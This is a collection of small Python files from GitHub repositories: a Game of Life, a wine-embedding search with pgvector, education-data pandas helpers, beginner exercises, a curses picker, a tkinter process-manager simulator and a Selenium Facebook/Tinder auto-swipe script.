+{"seq_id":"37793830384","text":"import pyxel\r\nimport random\r\n\r\npyxel.init(48, 48, caption=\"Conway's game of life\", fps=30)\r\n\r\nboard = []\r\nboard_change = []\r\nrun = False\r\ngen = 0\r\n\r\nfor i in range(pyxel.width * pyxel.height):\r\n\tboard.append(0)\r\nboard_change = board.copy()\r\n\r\ndef randomise():\r\n\tboard.clear()\r\n\tfor i in range(pyxel.width * pyxel.height):\r\n\t\tboard.append(random.randint(0, 1))\r\n\tboard_change = board.copy()\r\n\t\r\n\t\r\ndef update():\r\n\tglobal run, board, board_change, gen\r\n\tif pyxel.btnp(pyxel.KEY_Q):\r\n\t\tpyxel.quit()\r\n\tif pyxel.btnp(pyxel.KEY_R):\r\n\t\trandomise()\r\n\tif pyxel.btnp(pyxel.KEY_C):\r\n\t\tboard.clear()\r\n\t\tfor i in range(pyxel.width * pyxel.height):\r\n\t\t\tboard.append(0)\r\n\t\tboard_change = board.copy()\r\n\tif pyxel.btn(pyxel.MOUSE_LEFT_BUTTON) and run == False and not pyxel.mouse_x > pyxel.width and not pyxel.mouse_y > pyxel.height:\r\n\t\tboard.pop(pyxel.mouse_x + pyxel.width * pyxel.mouse_y)\r\n\t\tboard.insert(pyxel.mouse_x + pyxel.width * pyxel.mouse_y, 1)\r\n\t\tboard_change = board.copy()\r\n\tif pyxel.btn(pyxel.MOUSE_RIGHT_BUTTON) and run == False:\r\n\t\tboard.pop(pyxel.mouse_x + pyxel.width * pyxel.mouse_y)\r\n\t\tboard.insert(pyxel.mouse_x + pyxel.width * pyxel.mouse_y, 0)\r\n\t\tboard_change = board.copy()\r\n\tif pyxel.btnp(pyxel.KEY_ENTER):\r\n\t\trun = not run\r\n\t\tgen = 0\r\n\t\t\r\n\t# cell logic\r\n\tif run or pyxel.btnp(pyxel.KEY_RIGHT):\r\n\t\tfor c in range(len(board)):\r\n\t\t\tcell_sum = 0\r\n\t\t\t#cell_sum = board[c - 1] + board[c + 1] + board[c - pyxel.width] + board[c - pyxel.width - 1] + board[c - pyxel.width + 1] + board[c + pyxel.width] + board[c + pyxel.width + 1] + board[c + pyxel.width - 1]\r\n\t\t\t\r\n\t\t\tif not c - 1 < 0:\r\n\t\t\t\tcell_sum += board[c - 1]\r\n\t\t\tif not c + 1 > (len(board) - 1):\r\n\t\t\t\tcell_sum += board[c + 1]\r\n\t\t\tif not c - pyxel.width - 1 < 0:\r\n\t\t\t\tcell_sum += board[c - pyxel.width - 1]\r\n\t\t\tif not c - pyxel.width + 1 < 0:\r\n\t\t\t\tcell_sum += board[c - pyxel.width + 1]\r\n\t\t\tif not c + pyxel.width + 1 > (len(board) - 1):\r\n\t\t\t\tcell_sum += board[c + pyxel.width + 1]\r\n\t\t\tif not c + pyxel.width - 1 > (len(board) - 1):\r\n\t\t\t\tcell_sum += board[c + pyxel.width - 1]\r\n\t\t\tif not c - pyxel.width < 0:\r\n\t\t\t\tcell_sum += board[c - pyxel.width]\r\n\t\t\tif not c + pyxel.width > (len(board) - 1):\r\n\t\t\t\tcell_sum += board[c + pyxel.width]\r\n\t\t\t\r\n\t\t\t# rules of life\r\n\t\t\tif cell_sum < 2:\r\n\t\t\t\tboard_change[c] = 0\r\n\t\t\telif (board[c] == 1 and cell_sum == 2) or cell_sum == 3:\r\n\t\t\t\tboard_change[c] = 1\r\n\t\t\telif cell_sum > 3:\r\n\t\t\t\tboard_change[c] = 0\r\n\t\t\telif board[c] == 0 and cell_sum == 3:\r\n\t\t\t\tboard_change[c] = 1\r\n\t\t\telse:\r\n\t\t\t\tboard_change[c] = 0\r\n\t\t\r\n\t\tfor p in range(len(board) - 1):\r\n\t\t\tboard[p] = board_change[p]\r\n\t\r\n\t\tgen += 1\r\n\t\t#print(gen)\r\n\t\t\r\ndef draw():\r\n\tpyxel.cls(0)\r\n\tfor y in range(pyxel.height):\r\n\t\tfor x in range(pyxel.width):\r\n\t\t\tif board[x + pyxel.width * y] == 1:\r\n\t\t\t\tpyxel.pset(x, y, 7)\r\n\t# draw cursor\r\n\tpyxel.pset(pyxel.mouse_x, pyxel.mouse_y, 10)\r\n\tif run:\r\n\t\tpyxel.line(0, 0, pyxel.width, 0, 11)\r\n\t\r\npyxel.run(update, draw)","repo_name":"moosipea/python-game-of-life","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75319311367","text":"import openai\r\nimport pandas as pd\r\nimport json\r\nimport os\r\nimport tiktoken\r\nimport asyncio\r\nimport asyncpg\r\nimport numpy as np\r\nfrom pgvector.asyncpg import register_vector\r\nfrom openai.embeddings_utils import get_embedding\r\n\r\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\") \r\n\r\n# embedding model parameters\r\nembedding_model = \"text-embedding-ada-002\"\r\nembedding_encoding = \"cl100k_base\"  # this the encoding for text-embedding-ada-002\r\nmax_tokens = 8000  # the maximum for text-embedding-ada-002 is 8191\r\n\r\ntest_text = 'Dark, firm and focused, with fine, tightly wound tannins surrounding a core of black cherry, bay leaf, licorice and black pepper flavors, lingering intently on the expressive, graceful finish. '\r\ntest_text1 = 'A well-structured red, this features lightly chewy tannins that frame flavors of damson plum preserves, ground coffee, fig paste and bittersweet cocoa. This is dark and brooding, with a smoky mineral sublayer as well as hints of dried herb and kirsch on the finish.'\r\n\r\n# v = get_embedding(test_text1, engine=embedding_model)\r\n# print(v)\r\n# print(len(v))\r\n\r\ndef build_embeddings(file_name):\r\n    with open(f\"c:/temp/{file_name}\", \"r\") as file:\r\n        content = file.read()\r\n        wines  = json.loads(content)\r\n\r\n        # wines = wines[1:5]\r\n        print(file.name, 'contains ', len(wines), ' reviews')\r\n\r\n        for wine in wines:\r\n            print(wine)\r\n            embedding = get_embedding(wine['tasting_note'], engine=embedding_model)\r\n            wine['embedding'] = embedding\r\n\r\n    return wines\r\n\r\n\r\nasync def update_db(wines):\r\n    conn = await asyncpg.connect(os.getenv(\"NEONDB_CONNSTR\"))\r\n    await register_vector(conn)\r\n\r\n    # Store all the generated embeddings back into the database.\r\n    for wine in wines:\r\n        await conn.execute(\r\n            \"INSERT INTO wines (vineyard, wine_name, price, tasting_note, embedding) VALUES ($1, $2, $3, $4, $5)\",\r\n            wine['vineyard'],\r\n            wine['wine_name'],\r\n            wine['price'],\r\n            wine['tasting_note'],\r\n            np.array(wine['embedding']),\r\n        )\r\n\r\n    await conn.close()\r\n\r\n\r\n# # Run the SQL commands now.\r\n# await main()  # type: ignore\r\n\r\nasync def find_similar_wines(update_test=False):\r\n    #https://truemythwinery.com/wines/true-myth-cabernet-sauvignon/ \r\n    test_note = 'full of polished aromas of blueberry, cherry and vanilla, leading to flavors of dark red fruits, black currants and hints of pepper, mocha and caramelized oak. Rich yet smooth, '\r\n    conn = await asyncpg.connect(os.getenv(\"NEONDB_CONNSTR\"))\r\n    await register_vector(conn)\r\n\r\n    similarity_threshold = 0.1\r\n    num_matches = 10\r\n    qe = get_embedding(test_note, engine=embedding_model)\r\n    print(qe);\r\n\r\n    if update_test: \r\n        await conn.execute(\r\n            \"INSERT INTO test_wine (id, wine_name, tasting_note, embedding) VALUES (1, $1, $2, $3)\",\r\n            'Cabernet Sauvignon True Myth 2020',\r\n            test_note,\r\n            np.array(qe),\r\n        )\r\n\r\n    # Find similar products to the query using cosine similarity search \r\n    # over all vector embeddings. This new feature is provided by `pgvector`.\r\n    results = await conn.fetch(\r\n        \"\"\"\r\n            SELECT vineyard, wine_name, price, tasting_note, 1 - (embedding <=> $1) AS similarity\r\n            FROM wines\r\n            WHERE 1 - (embedding <=> $1) > $2\r\n            ORDER BY similarity DESC\r\n            LIMIT $3\r\n        \"\"\",\r\n        qe,\r\n        similarity_threshold,\r\n        num_matches\r\n    )\r\n\r\n    if len(results) == 0:\r\n        raise Exception(\"Did not find any results. Adjust the query parameters.\")\r\n\r\n    for r in results:\r\n        print(r['wine_name'], r['price'], r['vineyard'], r['similarity'])\r\n\r\n\r\n    await conn.close()\r\n\r\n    df = pd.DataFrame(results, columns=['wine_name', 'price', 'vineyard', 'tasting_note', 'similarity'])\r\n    print(df.head())\r\n\r\n    # html = df.to_html(index=False)\r\n    # with open('c:/temp/most_dissimilar_wines.html', 'w') as fo:\r\n    #     fo.write(html)\r\n\r\n\r\ndef main():\r\n    # wines_w_embeddings = build_embeddings('merlot_output_1.json')\r\n    # asyncio.get_event_loop().run_until_complete(update_db(wines_w_embeddings))\r\n\r\n    asyncio.get_event_loop().run_until_complete(find_similar_wines(update_test=False))\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"sanimesa/wine_tasting","sub_path":"scripts/wineembeddings.py","file_name":"wineembeddings.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30886214166","text":"import pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nfrom IPython.core.display import display, HTML\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\ndef carrega_arquivo_inep(arq,cols=None):\n    return pd.read_csv(arq,encoding='latin1',low_memory=False, sep='|',usecols=cols)\n\n#reduz o tamanho para economizar memoria\ndef ajusta_colunas_int_df_inep(df, vai_printar_cols = False):\n    ls_itips = [np.int8,np.int16,np.int32,np.int64]\n    ls_ftips = [np.float16,np.float32,np.float64]\n    for c in df.columns:\n        try:\n            if c.startswith('IN_') or c.startswith('ID_'):\n                m = int(max(df[c].values))\n                try:\n                    for t in ls_itips:\n                        if m < np.iinfo(t).max():\n                            df[c] = df[c].astype(t)\n                    break;\n                except:\n                    pass\n            if df[c].dtype in ls_ftips:\n                m = df[c].max()\n                for t in ls_ftips:\n                    if m < np.finfo(t).max:\n                        df[c] = df[c].astype(t)\n                        break;\n            elif df[c].dtype in ls_itips:\n                m = df[c].max()\n                for t in ls_itips:\n                    if m < np.iinfo(t).max:\n                        df[c] = df[c].astype(t)\n                        break;\n        except Exception as e:\n            pass\n        if vai_printar_cols:\n            print(f'{c}: {df[c].dtype}')\n    return df\n\n\ndef monta_df_inep(arq):\n    df = carrega_arquivo_inep(arq)\n    df = df.fillna(-1)\n    df = ajusta_colunas_int_df_inep(df)\n    return df.replace(-1,np.nan)\n\n\n\ndef monta_por_tip_ensino(df,tip,dcr,ano):\n    qtds = None\n    if ano < 2015:\n        qtds = df.loc[df.FK_COD_MOD_ENSINO == tip].groupby(['FK_COD_DOCENTE','PK_COD_ENTIDADE'])[['PK_COD_TURMA']].nunique()\n    elif tip == 1:\n        qtds = df.groupby(['CO_PESSOA_FISICA','CO_ENTIDADE'])[['IN_REGULAR']].sum()\n    elif tip == 3:\n        qtds = df.groupby(['CO_PESSOA_FISICA','CO_ENTIDADE'])[['IN_EJA']].sum()\n    qtds.reset_index(inplace=True)\n    qtds.columns = ['CO_PESSOA_FISICA','CO_ENTIDADE',f'NU_QTD_TURMAS_{dcr}_{ano}']\n    return qtds\n\ndef monta_por_tip_serie(df,tip,ano,nivel_escola=True):\n    qtds = None\n    series = {\n        'INFANT' : [1,2,3],\n        'MEDIO' : list(range(25,39))\n    }\n    cols_base = []\n    if ano < 2015:\n        cols_base = ['FK_COD_DOCENTE','PK_COD_ENTIDADE'] if nivel_escola else ['FK_COD_DOCENTE']\n        qtds = df.loc[df.FK_COD_ETAPA_ENSINO.isin(series[tip])].groupby(cols_base)[['PK_COD_TURMA']].nunique()\n    else:\n        cols_base = ['CO_PESSOA_FISICA','CO_ENTIDADE'] if nivel_escola else ['CO_PESSOA_FISICA']\n        qtds = df.loc[df.TP_ETAPA_ENSINO.isin(series[tip])].groupby(cols_base)[['ID_TURMA']].nunique()\n\n    cols_base = ['CO_PESSOA_FISICA','CO_ENTIDADE'] if nivel_escola else ['CO_PESSOA_FISICA']\n    qtds.reset_index(inplace=True)\n    qtds.columns =  cols_base + [f'NU_QTD_TURMAS_{tip}_{ano}']\n    return qtds\n","repo_name":"itsbarreto/educacao","sub_path":"educ_utils/df_inep_utils.py","file_name":"df_inep_utils.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23671174171","text":"# Write a script to extract the 26 letters from the file and add it to the list\n\n\n# import string\n# FILE_PATH = r\"C:\\Users\\nkrishnappa\\Desktop\\100DaysOfCode\\Python\\Day-#40\\Ex-45\"\n# extract_letter = []\n# for letter in string.ascii_uppercase:\n#     file_name = FILE_PATH + f\"/{letter}.txt\"\n#     with open(file_name, \"r\")as file:\n#         extract_letter.append(file.read())\n\n# print(extract_letter)\n\nimport glob\nFILE_PATH = r\"C:\\Users\\nkrishnappa\\Desktop\\100DaysOfCode\\Python\\Day-#40\\Ex-45\"\nextract_letter = []\nfor file in glob.glob(f\"{FILE_PATH}\\*.txt\"):\n    with open(file, \"r\") as f:\n       extract_letter.append(f.read())\n\nprint(extract_letter)\n\n\n# ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']","repo_name":"nkrishnappa/100DaysOfCode","sub_path":"Python/Day-#40/Ex-46.py","file_name":"Ex-46.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7109312333","text":"\"\"\"\n8. Global & Return\n\"\"\"\n### 8.0 GLOBALS #######################################################\ndef add(value1, value2):\n    \"\"\"Add two values and return the result\"\"\"\n    return value1 + value2\n\nresult = add(3, 5)\nprint(f\"Result 1 is {result}\")\n# Output: 8\n\n#: Return is a keyword that hands-back a value from a function, exiting\n#: the function in the process.\n#: Here, it is assigned to the 'result' variable. In this case, result\n#: is a global variable - a variable that can be accessed from outside\n#: the scope of a function or class. They are usually declared in the\n#: module namespace, but it is possible to make global variables inside\n#: functions.\n\ndef add2(value1, value2):\n    \"\"\"Add two values and create a global named result2 with the result\"\"\"\n    global result2\n    result2 = value1 + value2\n\nadd2(2, 4)\nprint(f\"Result 2 is {result2}\")\n\n#: In practice, using globals is a bad practice as it makes it very\n#: to understand where variables are coming from.\n\n### 8.1 MULTIPLE RETURN VALUES ########################################\n\n# option 1: globals - obvious but awful\ndef profile1():\n    global name1\n    global age1\n    name1 = 'Danny'\n    age1 = 31\n\nprofile1()\nprint(name1)  # Output: Danny\nprint(age1)  # Output: 31\n\n\n# option 2: packed tuples\ndef profile2():\n    name2 = 'Also Danny'\n    age2 = 32\n    return (name2, age2)\n\nprofile_data2=profile2()\nprint(profile_data2[0])\nprint(profile_data2[1])\n\n\n# option 3: tuple unpacking\ndef profile3():\n    name3 = 'Danny the 3rd'\n    age3 = 33\n    return name3, age3\n\nprofile_name3, profile_age3 = profile3()\nprint(profile_name3)\nprint(profile_age3)\n\n\n# option 4: named tuples\nfrom collections import namedtuple\ndef profile4():\n    my_profile = namedtuple('profile', ['name', 'age'])\n    my_profile.name = 'Danny the 4th'\n    my_profile.age = 34\n    return my_profile\n\nperson = profile4()\nprint(person.name)\nprint(person.age)\n","repo_name":"jtannas/intermediate_python","sub_path":"global_n_return.py","file_name":"global_n_return.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40350075415","text":"\"\"\"Consider a list (list = []). You can perform the following commands: `\ninsert i e: Insert integer e at position i.\nprint: Print the list.\nremove e: Delete the first occurrence of integer e.\nappend e: Insert integer e at the end of the list.\nsort: Sort the list.\npop: Pop the last element from the list.\nreverse: Reverse the list.\n\nInitialize your list and read in the value of n followed by n lines of commands\nwhere each command will be of the 7 types listed above.\nIterate through each command in order and perform the corresponding operation on your list.\n\nSample Input:\n12\ninsert 0 5\ninsert 1 10\ninsert 0 6\nprint\nremove 6\nappend 9\nappend 1\nsort\nprint\npop\nreverse\nprint\n\nSample Output:\n[6, 5, 10]\n[1, 5, 9, 10]\n[9, 5, 1]\n\"\"\"\n\n\nif __name__ == \"__main__\":\n    N = int(input())\n    my_list = []\n\n    for _ in range(N):\n        command = input().split()\n\n        if command[0] == \"insert\":\n            i, e = map(int, command[1:])\n            my_list.insert(i, e)\n        elif command[0] == \"print\":\n            print(my_list)\n        elif command[0] == \"remove\":\n            e = int(command[1])\n            my_list.remove(e)\n        elif command[0] == \"append\":\n            e = int(command[1])\n            my_list.append(e)\n        elif command[0] == \"sort\":\n            my_list.sort()\n        elif command[0] == \"pop\":\n            my_list.pop()\n        elif command[0] == \"reverse\":\n            my_list.reverse()\n","repo_name":"CihatAcar/HackerRank-Python-Exercises","sub_path":"BasicDataTypes/lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11766463691","text":"from typing import List\nclass Board:\n    \n    def create_board(self) -> List:\n        matrix: List = []\n        for _ in range(60):\n            temp_row: List = []\n            for _ in range(60):\n                temp_row.append(0)\n            matrix.append(temp_row)\n        return matrix\n\nboard = Board()\nfor x in board.create_board():\n    print(x)","repo_name":"grifmang/droids_dennis","sub_path":"Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23330937684","text":"from argparse import ArgumentParser\nfrom curses import wrapper\nfrom sys import maxsize\nfrom columns import prtcols\nfrom .event import Event\n\n\ndef get_args():\n    parser = ArgumentParser(description=\"Curses list picker.\")\n    parser.add_argument(\"items\", nargs=\"+\", help=\"Items for the picker.\")\n    parser.add_argument(\n        \"--limit\", \"-l\", type=int, default=maxsize, help=\"Limit number of picks.\"\n    )\n    parser.add_argument(\n        \"--numbers\", \"-n\", default=False, action=\"store_true\", help=\"Show row numbers.\"\n    )\n    parser.add_argument(\n        \"--header\",\n        \"-H\",\n        type=str,\n        default=\"PICK ITEMS FROM THIS LIST:\",\n        help=\"A string to use as a header.\",\n    )\n    parser.add_argument(\n        \"--footer\",\n        \"-F\",\n        type=str,\n        default=\"Press [?] to view keybindings\",\n        help=\"A string to use as a footer.\",\n    )\n    return parser.parse_args()\n\n\ndef event(stdscr, **kwargs):\n    picker = Event(stdscr, **kwargs)\n    return picker.get_picks()\n\n\ndef pick(**kwargs):\n    return wrapper(event, **kwargs)\n\n\ndef main():\n    args = get_args()\n    kwargs = {\n        \"items\": args.items,\n        \"limit\": args.limit,\n        \"numbers\": args.numbers,\n        \"header\": args.header,\n        \"footer\": args.footer,\n    }\n    picked = pick(**kwargs)\n    if picked:\n        prtcols(picked, 6)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"tslight/cpick","sub_path":"cpick/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"28783212511","text":"from datetime import date\n \n # function input should have form date(YYYY, M, D)\ndef age_calculator(DoB):\n    today = date.today()\n    age = today.year - DoB.year - ((today.month, today.day) < (DoB.month, DoB.day))\n    return str(age) + \" years\"\n\n\nprint(age_calculator(date(2001, 4, 19)))","repo_name":"lcawood/sigma-prework","sub_path":"age.py","file_name":"age.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17338855180","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom hacker_tools.tools import Manager, config\n\n\nclass App(tk.Tk):\n\n    def __init__(self):\n        super().__init__()\n        self.running = False\n        self.interval = 1024\n\n        self.manager = Manager(4)\n        self.title('HackerTools')\n        self.resizable(0, 0)\n\n        #  Define tables and labels\n        self.process_queue_label = self.create_label({\"row\": 0, \"column\": 0}, \"PROCESS QUEUE\")\n        self.process_queue = self.create_table({\"row\": 1, \"column\": 0}, config.PROCESS_INFO)\n\n        self.rejection_queue_label = self.create_label({\"row\": 2, \"column\": 0}, \"REJECTION QUEUE\")\n        self.rejection_queue = self.create_table({\"row\": 3, \"column\": 0}, config.PROCESS_INFO)\n\n        self.cpu_label = self.create_label({\"row\": 0, \"column\": 1}, \"CPU: tact 0\")\n        self.cpu_view = self.create_table({\"row\": 1, \"column\": 1, \"sticky\": tk.EW}, ('Core id', \"Current Process\"))\n\n        self.finished_processes_label = self.create_label({\"row\": 2, \"column\": 1}, \"FINISHED PROCESSES\")\n        self.finished_processes_view = self.create_table({\"row\": 3, \"column\": 1, \"sticky\": tk.EW},\n                                                         config.PROCESS_SHORT_INFO)\n\n        #  add menu bar\n        self.menubar = tk.Menu(self)\n        self.controls = tk.Menu(self.menubar, tearoff=0)\n\n        self.controls.add_command(label=\"Next tact\", command=self.tick, accelerator=\"Ctrl+T\")\n        self.controls.add_command(label=\"New Process\", command=self.generate_process, accelerator=\"Ctrl+N\")\n        self.menubar.add_cascade(label=\"Controls\", menu=self.controls)\n\n        self.autorun_menu = tk.Menu(self.menubar, tearoff=0)\n        self.autorun_menu.add_command(label=\"Start/Stop\", command=self.switch_state, accelerator=\"Ctrl+S\")\n        self.autorun_menu.add_command(label=\"Speed up\", command=self.decrease_interval, accelerator=\"Ctrl+Up\")\n        self.autorun_menu.add_command(label=\"Slow down\", command=self.increase_interval, accelerator=\"Ctrl+Down\")\n        self.autorun_menu.add_command(label=\"Default speed\", command=self.default_interval, accelerator=\"Ctrl+Home\")\n        self.menubar.add_cascade(label=\"Autorun\", menu=self.autorun_menu)\n\n        self.config(menu=self.menubar)\n        self.bind_all(\"<Control-s>\", self.switch_state)\n        self.bind_all(\"<Control-t>\", self.tick)\n        self.bind_all(\"<Control-n>\", self.generate_process)\n        self.bind_all(\"<Control-Up>\", self.decrease_interval)\n        self.bind_all(\"<Control-Home>\", self.default_interval)\n        self.bind_all(\"<Control-Down>\", self.increase_interval)\n\n        self.show_data()\n        self.autorun()\n\n    def default_interval(self, event=None):\n        self.interval = 1024\n\n    def decrease_interval(self, event=None):\n        self.interval = self.interval // 2 if self.interval > 16 else 16\n\n    def increase_interval(self, event=None):\n        self.interval = self.interval * 2 if self.interval < 16384 else 16384\n\n    def create_button(self, grid, text, command):\n        button = ttk.Button(self, text=text, command=command)\n\n        button.grid(**grid)\n\n        return button\n\n    def create_label(self, grid, text):\n        label = ttk.Label(self, text=text, font=(\"Consolas\", 16))\n        label.grid(**grid)\n\n        return label\n\n    def create_table(self, grid, columns, height=10):\n        tree = ttk.Treeview(self, columns=columns, show='headings', height=height)\n\n        for column in columns:\n            tree.column(column, width=len(column) * 12, anchor=tk.CENTER)\n\n        # define headings\n        for column in columns:\n            tree.heading(column, text=column)\n\n        tree.grid(**grid, pady=10, padx=25)\n\n        return tree\n\n    def show_data(self):\n        data = self.manager.generate_output()\n        self.clear_tables()\n        for process in data[\"process_queue\"]:\n            self.process_queue.insert('', tk.END, values=process)\n\n        for process in data[\"rejection_queue\"]:\n            self.rejection_queue.insert('', tk.END, values=process)\n\n        for process in data[\"finished_processes\"]:\n            self.finished_processes_view.insert('', tk.END, values=process)\n\n        for core in data[\"cpu\"]:\n            self.cpu_view.insert('', tk.END, values=core)\n\n        self.cpu_label[\"text\"] = f\"CPU: tact {data['current_tact']}\"\n        self.process_queue_label[\"text\"] = f\"PROCESS QUEUE: {data['process_len']}\"\n        self.rejection_queue_label[\"text\"] = f\"REJECTION QUEUE: {data['rejection_len']}\"\n        self.finished_processes_label[\"text\"] = f\"FINISHED PROCESSES: {data['finished_len']}\"\n\n    def clear_tables(self):\n        self.process_queue.delete(*self.process_queue.get_children())\n        self.rejection_queue.delete(*self.rejection_queue.get_children())\n        self.finished_processes_view.delete(*self.finished_processes_view.get_children())\n        self.cpu_view.delete(*self.cpu_view.get_children())\n\n    def tick(self, event=None):\n        self.manager.do_work()\n        self.show_data()\n\n    def generate_process(self, event=None):\n        self.manager.generate_process()\n        self.show_data()\n\n    def switch_state(self, event=None):\n        self.running = not self.running\n\n    def autorun(self):\n        if self.running:\n            self.tick()\n        self.after(self.interval, self.autorun)\n\n\ndef main():\n    app = App()\n    app.mainloop()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"MichaelPotemkin/ProcessManager","sub_path":"process_manager.py","file_name":"process_manager.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1998403694","text":"import os\nimport csv\n\n\ndef get_data(index):\n    with open(os.path.join(os.path.dirname(__file__), 'save.txt'), 'r', encoding='utf-8') as f:\n        w = f.readlines()\n        print(w[0])\n        print(w[1])\n        print(w[2])\n        # return d[index]\n\n\ndef getCsv():\n    rows = []\n    with open('input.csv') as f:\n        reader = csv.reader(f)\n        for iter in reader:\n            rows.append(iter)\n    print(rows)\n\n\ngetCsv()","repo_name":"ycw786369470/myblog","sub_path":"auto_test/Code/ddt_test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28678151965","text":"import time\n\nfrom getpass import getpass\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support import expected_conditions as EC\n\nclass Swiper():\n    def __init__(self):\n        self.driver = webdriver.Chrome(ChromeDriverManager().install())\n\n    #modify implicit waits later instead of using timer.sleep. write an implicit wait function\n    def tinder_login(self):\n        self.driver.get('https://tinder.com/')\n        time.sleep(5)\n        loginbutton = self.driver.find_element_by_xpath(\"/html/body/div[1]/div/div[1]/div/main/div[1]/div/div/header/div[1]/div[2]/div\")\n        loginbutton.click()\n        time.sleep(5)\n        phonelogin = self.driver.find_element_by_xpath(\"/html/body/div[2]/div/div/div[1]/div/div[3]/span/div[3]/button\")\n        phonelogin.click()\n        time.sleep(5)\n        phonenumber = self.driver.find_element_by_xpath(\"/html/body/div[2]/div/div/div[1]/div[2]/div/input\")\n        phonenumber.send_keys(input('Opened Tinder. Please enter your phone number: '))\n\n        verificationcode = input('Please enter the 6 digit authentication code sent to your phone number: ')\n        verificationcode = list(verificationcode)\n        #validate that the code is 6 digits before proceeding \n\n        #iterating through 6 digit verifcation code fields\n        for number in verificationcode:\n            verificationfield = self.driver.find_element_by_xpath(f\"/html/body/div[2]/div/div/div[1]/div[3]/input[{verificationcode.index(number) + 1}]\")\n            verificationfield.send_keys(f\"{number}\")\n\n        #click continue button \n\n    def fb_login(self):\n        self.driver.get('https://www.facebook.com/')\n        a = self.driver.find_element_by_id('email')\n        a.send_keys(input('Opened Facebook. Please enter username/email: '))\n        b = self.driver.find_element_by_id('pass')\n        b.send_keys(getpass(prompt='Username entered. Please enter password: '))\n        print(\"Password entered. Logging in.\")\n        c = self.driver.find_element_by_id('loginbutton')\n        c.click()\n        try: #Check whether login was successful by finding the home button\n            self.driver.find_element_by_id('u_0_c')\n        except:\n            return False\n        return True\n\n    def tinder_login(self):\n        self.driver.get('http://tinder.com')\n        time.sleep(5)\n        print(\"Clicking on sign in with Facebook.\")\n        self.driver.find_element_by_xpath(\"//*[@id=\\\"modal-manager\\\"]/div/div/div[2]/div[1]/div/div[3]/button[1]/span\").click();\n        time.sleep(2)\n        try: #Selenium scripts open a testing environment in chrome. Every login acts like a brand new login. Must click through tutorial\n            print(\"Dismissing tutorial prompts\")\n            self.driver.find_element_by_xpath(\"//*[@id=\\\"content\\\"]/div/span/div/div[2]/div/div[1]/div[1]/div/button/span/span\").click()\n            print(\"Prompt 1\")\n            time.sleep(2)\n            self.driver.find_element_by_xpath(\"//*[@id=\\\"content\\\"]/div/span/div/div[2]/div/div/main/div/button/span/span\").click()\n            print(\"Prompt 2\")\n            time.sleep(2)\n            self.driver.find_element_by_xpath(\"//*[@id=\\\"content\\\"]/div/span/div/div[2]/div/div/div[1]/div/div/div[4]/button[1]/span/span\").click()\n            print(\"Prompt 3\")\n            time.sleep(2)\n            self.driver.find_element_by_xpath(\"//*[@id=\\\"content\\\"]/div/span/div/div[2]/div/div/div[1]/div/div/div[4]/button[1]/span/span\").click()\n            print (\"Prompt 4\")\n        except:\n            print('Something went wrong during login.')\n            return False\n        print(\"Ready to start swiping.\")\n        return True\n\n    def swipe_tinder(self):\n        actions = ActionChains(self.driver)\n        time.sleep(5)\n        print(\"Swipe until there are no more profiles.\")\n        try:\n            #Stop swiping by catching the exception of not finding a profile. closes browser\n            while self.driver.find_element_by_xpath(\"//*[@id=\\\"content\\\"]/div/span/div/div[1]/div/main/div/div/div/div[1]/div[1]/div/div[3]/div[1]\"):\n                actions.send_keys(Keys.ARROW_RIGHT).perform()\n                time.sleep(2)\n        except:\n            print(\"No more profiles found. Quitting.\")\n            self.driver.quit()\n\nif __name__ == \"__main__\":\n    swiper = Swiper()\n    if(swiper.fb_login()):\n        if swiper.tinder_login():\n            swiper.swipe_tinder()\n    else:\n        print(\"Facebook login failed, Quitting\")\n        swiper.driver.quit()","repo_name":"marshallnw18/Python-SysAdmin-Scripts","sub_path":"projectscripts/tinder_selenium.py","file_name":"tinder_selenium.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
